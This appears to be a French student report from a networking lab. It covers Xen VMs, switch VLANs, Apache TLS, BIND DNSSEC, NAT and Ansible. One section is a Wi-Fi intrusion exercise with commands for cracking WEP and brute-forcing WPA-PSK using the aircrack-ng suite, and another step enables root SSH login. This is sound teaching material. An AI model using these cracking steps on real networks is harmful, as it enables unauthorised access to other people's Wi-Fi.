TP sysres IMA5sc 2019/2020 G2

Présentation générale

Travaux pratiques protocoles avancés. Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6.

Le cours se trouve à cette adresse Le sujet du TP se trouve à cette adresse

Réalisation du TP

Installation dans la machine virtuelle Xen

Nous avons acheté notre domaine : mycoplasma.site sur le site gandi. Il faut créer la machine virtuelle Xen Linux sur le dom0 cordouan.insecserv.deule.net

Donc il faut se connecter en shh à Cordouan:

ssh root@cordouan.insecserv.deule.net

Puis créer notre machine virtuelle :

xen-create-image --hostname=mycoplasma --dhcp --dir=/usr/local/xen --dist=buster
xl create mycoplasma.cfg

On a ensuite installer les paquetages nécessaires pour SSH, le serveur Web apache2 et le serveur DNS bind :

sudo apt-get install openssh-server
sudo apt-get install apache2
sudo apt-get install -y bind9

Pour afficher les logs et savoir si l'installation à bien lieu :

  tail -f /var/log/xen-tools/mycoplasma.log

Accès Internet et Permettre SSH

Une fois la VM créée (semaine 1), il faut installer les packages, donc il faut lui donner l'accès à internet. Il faut modifier le fichier suivant etc/network/interfaces. Pour enregistrer les modifications, il faut exécuter les commandes: if down eth0, ifup eth0.

auto eth0
iface eth0 inet static
 address 193.48.57.178
 netmask 255.255.255.240

Pour le moment, pour se connecter à la Machine virtuelle, on utilise la commande suivante:

xl console mycoplasma

SSH

Mais il y a une seconde façon d'accéder à notre VM: c'est en utilisant SSH. Pour le faire il faut remplacer la ligne suivante :

" #PermitRootLogin prohibit-password" 

par

" PermitRootLogin yes" 

de ce fichier etc/ssh/sshd_config.

Architecture réseau

L’architecture générale

L'objectif que l'on souhaite réaliser dans cette partie est une architecture capable de résister à la défaillance de quelques uns des équipements réseau qui la composent par le biais de la redondance.

Nous disposons, pour la réalisation, de deux commutateurs et de deux routeurs et deux bornes wifi répartis entre les deux salles E304 et E306.

Nous avons sur les deux terminaisons de notre architecture:

• Le serveur XEN qui abrite des machines virtuelles avec les différents services qui y sont implantés.
• Le réseau de l'école.

Le schéma de principe ci-joint, résume l'architecture proposée.

On peut ainsi voir à partir de ce schéma que tant que nous avons au minimum un routeur et un commutateur fonctionnels l’infrastructure pourra toujours assurer le service

Entre autres, on doit satisfaire le cahier des charges suivant:

• Un routage IPv4
• Un routage IPv6
• Interconnexion avec Internet (IPv4)
• Interconnexion avec Internet (IPv6)
• Sécurisation du réseau en implantant le protocol VRRP sur les routeurs.
• Confguration des bornes wifi

Organisation du travail

Nous avons pris l'initiative de nous répartir la réalisation de l'infrastructure et notre groupe s'est principalement chargé de l'implémentation sur la partie E304.
Sur cette partie nous devons donc configurer le commutateur (COM-1) pour:

• Communiquer avec la serveur XEN
• Communiquer avec le routeur R1 en E304 et le R2 en E306.

Et configurer le routeur R1 pour:

• L'interconnexion des deux commutateurs COM-1 et COM-2 avec le réseau de l'école et internet

Le schéma proposé à droite résume le choix des interfaces pour la réalisation de l'interconnexion des équipements.

Réalisation

Rappelons la table des adressages convenue en phase d'architecture:

Nom	VLAN	Réseau IPV4	Réseau IPV6	IP routeur 1	IP routeur 2	Routeur virtuel	Nom VM	IP VM	IP VM Private
XEN	200	193.48.57.176/28	2001:660:4401:60AB::/64	193.48.57.188/28	193.48.57.189/28	193.48.57.190/28	***	193.48.57.176/28	***
Interconnection	131	10.60.100.0/24	***	10.60.100.1/24	10.60.100.2/24	***	***	***	***
Groupe 1	101	10.60.101.0/24	2001:660:4401:60A1::/64	10.60.101.1/24	10.60.101.2/24	10.60.101.3/24	6phil	193.48.57.177/28	192.168.0.1
Groupe 2	102	10.60.102.0/24	2001:660:4401:60A2::/64	10.60.102.1/24	10.60.102.2/24	10.60.102.3/24	mycoplasma	193.48.57.178/28	192.168.0.2
Groupe 3	103	10.60.103.0/24	2001:660:4401:60A3::/64	10.60.103.1/24	10.60.103.2/24	10.60.103.3/24	herpesgenital	193.48.57.179/28	192.168.0.3
Groupe 4	104	10.60.104.0/24	2001:660:4401:60A4::/64	10.60.104.1/24	10.60.104.2/24	10.60.104.3/24	chlamydiae	193.48.57.180/28	192.168.0.4
Groupe 5	105	10.60.105.0/24	2001:660:4401:60A5::/64	10.60.105.1/24	10.60.105.2/24	10.60.105.3/24	chaudepisse	193.48.57.181/28	192.168.0.5
Groupe 6	106	10.60.106.0/24	2001:660:4401:60A6::/64	10.60.106.1/24	10.60.106.2/24	10.60.106.3/24	blennoragie	193.48.57.182/28	192.168.0.6
Autres	300	10.60.200.0/24	2001:660:4401:60AA::/64	10.60.200.1/24	10.60.200.2/24	10.60.200.3/24	***	***	***

Comme on peut le voir, les VMs exposées possèdent chacune deux adresses IPv4 sur deux réseaux différents:

1. Le réseau routé  : 193.48.57.176/28 (Class C)
2. Le réseau non-routé : 10.10.0.0/16 (Class A)

Nous devons allouer sur le réseau non-routé, dit privé, un VLAN pour chaque groupe pour qu'il puisse y connecter son client Wifi en plus des VLANs fonctionnels.

Configuration du commutateur 1 (COM-1)

Création des VLANs

Pour la création des VLANs nous utilisons la suite de commandes ci-dessous:

conf t
 vlan <NUMERO>
  name <NOM>
  exit
 exit
write

avec les couples de valeurs:

<NUMERO>	<NOM>
101	VLAN0101
102	VLAN0102
103	VLAN0103
104	VLAN0104
105	VLAN0105
106	VLAN0106
131	INTERCNX
200	XEN

Liaison COM-1 vers XEN

Cette connexion doit faire transiter les différents VLANs et doit donc être en Trunk.

Configuration de l'interface

conf t
 interface GigabitEthernet1/1
  switchport
  switchport trunk encapsulation dot1q         # On utilise le standard 802.1q pour l'encapsulation
  switchport mode trunk                        # On met l'interface en mode Trunk
  no shut

Configuration de l'interface

conf t
 interface GigabitEthernet4/1
  switchport
  switchport mode trunk

Configuration de l'interface

conf t
interface GigabitEthernet1/2
 switchport
 switchport trunk encapsulation dot1q
 switchport mode trunk

Configuration de l'interface

conf t
 interface GigabitEthernet4/4
  switchport
  switchport mode trunk

Configuration du Routeur 1 (R1)

1. Je_Continue_Demain

Services Internet

Serveur SSH

Pour se connecter à la VM une première fois, il faut utiliser la commande :

xl console mycoplasma  --depuis cordouan.

Pour sécuriser les services réseaux il faut être capable de se connecter à la VM en SSH, il faut faire quelques modifications dans le fichier etc/ssh/sshd_config de la VM. Voici la modification :

 #PermitRootLogin prohibit-password

par

 PermitRootLogin yes

Par la suite, il sera possible d'accéder à la VM directement :

ssh root@193.48.57.178

Serveur DNS

Nous avons utiliser le registrar Gandi (http://www.gandi.net) pour réserver notre nom de domaine, nous avons choisi mycoplasma2.

Dans un premier temps, faire apparaitre dans le fichier /etc/bind/named.conf.options la ligne suivante:

dnssec-validation auto;

Configuration apache

root@mycoplasma:~# cat /etc/apache2/sites-available/loadbalance.conf 

<VirtualHost 193.48.57.178:443>
	ServerName www.mycoplasma2.site
	ServerAlias mycoplasma2.site	
	DocumentRoot /var/www/html/
	ServerAdmin lina.mejbar@polytech-lille.net
	SSLEngine on
	SSLCertificateFile /etc/ssl/certs/mycoplasma2.site.crt
 	SSLCertificateKeyFile /etc/ssl/private/myserver.key 
	SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
	SSLVerifyClient None
	ErrorLog ${APACHE_LOG_DIR}/lb-error.log
	CustomLog ${APACHE_LOG_DIR}/lb-access.log combined
</VirtualHost>

<VirtualHost 193.48.57.178:80>
	ServerName www.mycoplasma2.site
	ServerAlias mycoplasma2.site
	ProxyPass "/" "http://192.168.0.2:8002/"
 	ProxyPassReverse "/" "http://192.168.0.2:8002/"
	Redirect "/" "https://www.mycoplasma2.site"
</VirtualHost>

Enfin pour enregistrer nos modifications :

 a2enmod ssl
 a2ensite mycoplasma2.site.conf
 service apache2 restart

Comme on peut le voir sur la photo ci-dessous : nous avons accès à notre site de façon sécurisée.

Configuration bind9

BIND veut dire : Berkeley Internet Name Daemon Nous avons déjà installer le package titre du lien ici.

Ensuite il faut créer un fichier de configuration dans le dossier /etc/bind/ avec les informations de notre site:

root@mycoplasma:/etc/bind# cat mycoplasma2.site

;
; BIND data file for local loopback interface
;
$TTL	604800 
@	IN	SOA	ns.chlamydiae.site. root.mycoplasma2.site (
 			4	; Serial
 			604800	; Refresh
			86400	; Retry
			2419200	; Expire
			604800 )	; Negative Cache TTL
;
	IN	NS	ns.mycoplasma2.site.
	IN	NS	ns6.gandi.net.
@       IN      A       193.48.57.178
ns	IN	A	193.48.57.178
www	IN	A	193.48.57.178

Il faut modifier le fichier named.conf.local pour lui donner le nom de notre fichier configuration et de définir les paramètres généraux d'une zone.:

root@mycoplasma:/etc/bind# cat named.conf.local 

zone "mycoplasma2.site" {
        type master;
        file "/etc/bind/mycoplasma2.site"; 
        allow-transfer {217.70.177.40;}; 
};

Il faut ensuite relancer avec la commande suivante :

service bind9 restart

Il faut aussi ajouter dans l'onglet GlueRecords le nom de domaine de notre site, et celui de gandi.

Sécurisation de site web par certificat

On doit configurer apache2 en mode sécurisé à l’aide d’une clef asymétrique et d’un certificat signé par une autorité de certification. Le CA signe un CSR (Certificate Signing Request), pour ce faire il faut créer les clefs et le CSR en utilisant openssl. Il faut ensuite le transformer en un certificat, on va donc configurer apache2 sur le port 443 afin qu'il puisse gérer du HTTPS.

openssl req -nodes -newkey rsa:2048 -sha256 -keyout myserver.key -out server.csr

Il faut ensuite renseigner quelques informations :

  Country Name (2 letter code) [AU]: France
  State or Province Name (full name) [Some-State]: Haut de France
  Locality Name (eg, city) []: Lille
  Organization Name (eg, company) [Internet Widgits Pty Ltd]: Polytech Lille
  Organizational Unit Name (eg, section) []: IMA5
  Common Name (e.g. server FQDN or YOUR name) []: mycoplasma2.site
  Email Address []:
  Please enter the following 'extra' attributes to be sent with your certificate request
  A challenge password []:
  An optional company name []:

La seule vraie ligne où il ne faut pas se tromper, c'est celle où l'on indique le nom du site (Common Name), si la ligne est fausse Gandi n'acceptera pas votre clef. Une fois ces informations renseignées, une clef est générée.

/!\ Il faut la garder précieusement et ne pas la SUPPRIMER des fichiers de la machine virtuelle, dans ce cas il faudra tout recommencer avec un nouveau nom de domaine parce que la clef n'est générable qu'une seule fois. Il faut maintenant copier le contenu de ce fichier avec le "BEGIN CERTIFICATE REQUEST-----" et le "END CERTIFICATE REQUEST-----" sur le site de gandi.

Sécurisation de serveur DNS par DNSSEC

root@mycoplasma:/etc/bind# vim named.conf

include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones"

Pour générer les clefs dans un même dossier, il faut le créer voici le chemin pour notre groupe :

root@mycoplasma:/etc/bind/mycoplasma2.site.dnssec# 

Pour générer les clés KSK on lance la commande suivante :

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE mycoplasma2.site

Pour ZSK :

dnssec-keygen -a RSASHA1 -b 1048 -n ZONE mycoplasma2.site

On peut maintenant rajouter nos clefs dans le fichier mycoplasma2.site:

root@mycoplasma:~# cat /etc/bind/mycoplasma2.site

$TTL	604800
$include /etc/bind/mycoplasma2.site.dnssec/mycoplasma2.site-ksk.key
$include /etc/bind/mycoplasma2.site.dnssec/mycoplasma2.site-zsk.key
@	IN	SOA	ns.chlamydiae.site. root.mycoplasma2.site (
 			4	; Serial
			604800	; Refresh
			86400	; Retry
			2419200	; Expire
			604800 )	; Negative Cache TTL
;
	IN	NS	ns.mycoplasma2.site.
	IN	NS	ns6.gandi.net.
@      IN      A       193.48.57.178
ns	IN	A	193.48.57.178
www	IN	A	193.48.57.178

On signe les enregistrements de la zone en exécutant la commande suivante :

dnssec-signzone -o mycoplasma2.site -k mycoplasma2.site-ksk ../mycoplasma2.site mycoplasma2.site-zsk

Dernière étape, il fait ajouter le chemin du fichier pour utiliser le fichier de zone signé :

root@mycoplasma:~# cat /etc/bind/named.conf.local 

zone "mycoplasma2.site" {
       type master;
       file "/etc/bind/mycoplasma2.site.signed"; 
       allow-transfer {217.70.177.40;}; 
};

service bind9 restart

Tests d’intrusion

Cassage de clef WEP d’un point d’accès WiFi

Pour scanner l'environnement Wi-Fi, on utilise l'outil airodump-ng. On remarque qu'il y a deux types de wifi, les cracottes avec un c et les kracottes avec un k. On lance l'interface en mode moniteur :

airmon-ng start  wlan0mon
airodump-ng --encrypt wep wlan0mon

On a choisi de casser la clé WEP de la cracotte5 sur le channel 2, on enregistre les paquets dans webPack.

airodump-ng -c 2 –-bssid 04:DA:D2:9C:5O:5A -w wepPack wlan0mon

La commande suivante permet de se faire passer pour un client afin de générer de l'activité sur le réseau.

aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:5O:5A wlan0mon

On utilise les paquets enregistrés pour réaliser le cassage:

aircrack-ng wepDico*.cap

Cassage de mot de passe WPA-PSK par force brute

Il faut lancer la commande ip a : récupérer le nom de l'interface wifi : ""wlx40a5ef0f6518"". Il faut le lancer avec la commande :

airmon-ng start wlx40a5ef0f6518

Il faut ensuite écouter le réseau, on récupère alors le channel(2), le nom du wifi, le BSSID (04:DA:D2:9C:5O:5A) avec la commande suivante:

airodump-ng --encrypt wpa wlan0mon

Nous avons choisi de cracker "kracote03"

airodump-ng wlan0mon --bssid 04:DA:D2:9C:5O:5A --ch 2 -w capture

Il faut l'arreter une fois qu'on obtient un handshake

Pour générer un dictionnaire, on a besoin de la commande suivante :

sudo apt-get update
sudo apt-get install crunch

crunch 8 8 -o dico.txt 0123456789

• 8 8 : donne des codes de 8 caractères au minimum et au maximum

On lance cette commande :

airodump-ng -c 2 --bssid 04:DA:D2:9C:5O:5A -w ./home/pifou/crack wlx40a5ef0f6518

Voici une capture de la commande :

aircrack crack/capture.cap -w dico.txt 

On remarque ce la photo ci dessus que la commande a pris 21 min et 42 sec.

Partie ASR

Nouvelle VM

L'objectif de ces 12 heures est de créer une nouvelle Machine virtuelle qui serait cette fois-ci privée, elle va permettre d'héberger un serveur Web.

Pour la créer :

xen-create-image --hostname=private-mycoplasma --ip=ip 192.168.0.2 --dir=/usr/local/xen
xl create private-mlycoplasma.cfg

Généralement lorsque les export ne sont pas configurés, la création reste bloquée. Il faut exécuter les commande suivante:

export http_proxy=http://proxy.plil.fr:3128
export https_proxy=http://proxy.plil.fr:3128 

et suivre la suite de la création avec le fichier de log:

tail -f /var/log/xen-tools/private-mycoplasma.log

Voici notre nouvelle structure :

Pour y arriver, il faut modifier les fichiers /etc/network/interfaces des deux machines virtuelles avec les adresses, Gateway, et netmask marque sur la photo ci-dessus. Et valider les modifications avec les commandes habituelles : ifdown ethi et ifup ethi

Mascarade

iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward
apt install iptables-persistent

Il faut ensuite décommenter

net.ipv4.ipforward=1

Ansible

Ansible permet l'automatisation par connexion sans mot de passe. Il faut d'abord générer une clef asymétrique :

ssh-keygen -t rsa

Installation de la clef publique sur les machines virtuelles 192.168.0.1 à 192.168.0.6  :

cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

Il faut installer Ansible :

apt install ansible

Hosts

Ensuite il faut rédiger l'inventaire ( /etc/ansible/hosts ) c'est un fichier yaml, il faut très attention à la syntaxe. Ce fichier regroupe le parc informatique :

all:
hosts:
 interne:
   ansible_host: 192.168.0.2
children:
 serveur-web:
  hosts:
   192.168.0.[1:6]

Playbooks

Maintenant qu'on a défini toutes les machines dans notre parc et qu'on peut se connecter automatique, on peut exécuter une commande à distance sur tout le parc à l'aide d'Ansible. Un "playbook" c'est une liste des tâches à effectuer sur ces machines.